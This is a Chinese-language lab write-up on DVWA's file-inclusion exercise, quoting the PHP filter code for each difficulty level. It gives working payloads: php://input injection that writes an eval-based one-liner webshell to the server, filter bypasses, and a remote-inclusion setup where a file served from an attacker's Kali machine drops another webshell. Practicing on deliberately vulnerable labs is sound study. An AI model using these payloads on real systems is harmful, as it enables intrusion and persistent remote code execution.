Low
通过观察源码发现,此处是显示include.php, file1.php, file2.php, file3.php。
也没有对输入进行任何过滤,可以造成文件读取。
这里记录一个文件包含中PHP伪协议的使用,可以getshell。
首先了解一下php://input协议,将post请求中的数据作为PHP代码执行,导致任意代码执行漏洞。
post处可以填
<?php phpinfo()?>
页面会显示phpinfo
2.<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
一句话木马
我们发现shell.php被写到了服务器中
这样可以用哥斯拉进行连接
Medium
观察后端代码,进行了一些过滤,可以双写绕过。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );
?>
High
观察后端代码,发现后端用通配符做了过滤,要求文件的开头必须是file,那刚好前面提到的PHP伪协议的使用里面还有file协议,可以用file协议进行绕过。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
file后面应该填文件的物理路径或者绝对路径
Impossible
观察后端代码,限制了参数只能为四个文件。
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
$configFileNames = [
'include.php',
'file1.php',
'file2.php',
'file3.php',
];
if( !in_array($file, $configFileNames) ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
总结
这里主要总结一下远程文件包含漏洞,PHP的解析机制:PHP的 include、require、include_once 和 require_once 函数会将指定文件的内容读入当前的执行流,并将其视为PHP代码来解析和执行。文件的扩展名并不重要,重要的是文件内容是否包含有效的PHP代码
远程文件包含需要
1.DVWA网站参数设置为
allow_url_include = on(是否允许 include/require 远程文件)
allow_url_fopen = on(是否允许打开远程文件)
2.所包含远程服务器的文件后缀不能与目标服务器相同,比如DVWA服务器是php脚本语言解析,则不能包含php文件
eg:在我的kali攻击机上写个txt文件,用python3 -m http.server 80
快速搭建一个http服务器。
f.txt:<?php fputs(fopen('muma.php','w'),'<?php eval($_POST[pass])?>');?>
用URL输入
发现DVWA服务器路径写入muma.php文件